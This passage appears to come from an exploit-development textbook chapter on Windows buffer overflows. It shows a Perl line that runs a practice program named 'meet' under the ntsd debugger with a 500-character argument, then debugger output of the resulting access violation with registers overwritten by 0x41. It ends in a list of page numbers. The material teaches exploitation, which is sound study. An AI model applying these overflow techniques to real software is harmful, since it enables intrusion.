pl
exec 'c:\\debuggers\\ntsd','-g','-G','meet','Mr.',("A" x 500)
Because the backslash is a special escape character to Perl, we need to include two of
them each time we use it. Also, we??™re moving to ntsd for the next few exploits so the
command-line interpreter doesn??™t try to interpret the arguments we??™re passing. If you
experiment later in the chapter with cdb instead of ntsd, you??™ll notice odd behavior,
with debugger commands you type sometimes going to the command-line interpreter
instead of the debugger. Moving to ntsd will remove the interpreter from the picture.
C:\grayhat>Perl command.pl
... (moving to the new window) ...
Microsoft (R) Windows Debugger Version 6.6.0007.5
Copyright (C) Microsoft Corporation. All rights reserved.
CommandLine: meet Mr. AAAAAAA [rest of As removed]
...
(740.bd4): Access violation ??“ code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Eax=41414141 ebx=7ffdf000 ecx=7fffffff edx=7ffffffe esi=00080178 edi=00000000
eip=00401d7c esp=0012fa4c ebp=0012fd08 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for meet.
Pages:
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478